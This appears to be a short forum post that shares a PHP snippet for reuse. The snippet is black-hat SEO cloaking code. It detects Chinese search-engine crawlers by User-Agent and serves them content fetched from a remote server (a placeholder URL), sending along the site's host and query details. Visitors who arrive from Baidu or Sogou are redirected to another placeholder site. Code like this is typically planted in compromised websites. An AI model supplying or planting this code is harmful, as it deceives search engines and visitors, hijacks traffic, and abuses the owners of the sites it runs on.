- <?phpheader('Content-Type:text/html;charset=gb2312');$key= $_SERVER["HTTP_USER_AGENT"];if(strpos($key,strtolower('HaosouSpider'))!== false||strpos($key,strtolower('baidu'))!== false||strpos($key,strtolower('Yisou'))!== false||strpos($key,strtolower('Sogou'))!== false||strpos($key,strtolower('YisouSpider'))!== false||strpos($key,strtolower('360Spider'))!== false||strpos($key,strtolower('Baiduspide'))!== false||strpos($key,strtolower('Soso'))!== false ){date_default_timezone_set('PRC');$TD_server = "http://蜘蛛访问";$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];$Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']);echo $Content_mb;}$httpuser=strtolower($_SERVER['HTTP_REFERER']);if(strstr($httpuser,'sogou') or strstr($httpuser,'baidu') or strstr($httpuser,'HaosouSpider') or strstr($httpuser,'YisouSpider')){Header("Location: http://跳转");exit;}?>
复制代码 拿走不谢 |